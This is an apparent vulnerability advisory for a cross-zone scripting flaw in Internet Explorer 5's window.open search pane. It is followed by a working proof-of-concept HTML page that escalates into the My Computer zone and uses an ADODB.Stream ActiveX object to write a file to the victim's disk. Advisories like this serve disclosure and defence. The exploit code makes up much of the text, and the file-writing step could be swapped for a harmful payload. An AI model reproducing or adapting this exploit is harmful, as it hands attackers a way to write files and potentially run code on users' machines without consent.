Microsoft Internet Explorer 5 - window.open Search Pane Cross-Zone Scripting

source: https://www.securityfocus.com/bid/9798/info

A vulnerability has been reported in Microsoft Internet Explorer that could enable unauthorized access by malicious scripts and Active Content to document properties across different Security Zones and foreign domains. This issue is exposed when search panes are opened via the window.open method. It is possible for malicious script code to access the properties of a foreign domain opened within the search pane.

---------------------------CrossZone.htm---------------------------
<script>
window.open("http://wrong_site_add/","_search") //To load "Friendly HTTP error messages" page
// cause it's in My Computer Zone.
setTimeout(function(){

// '\\42' -> '\42' -> ' " '
img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'
+ ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'
+ ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

inject_html="<img src='" + img_src + "'>";

window.open('file:javascript:document.write("' + inject_html + '")','_search');

},5000);

&lt;/script&gt;
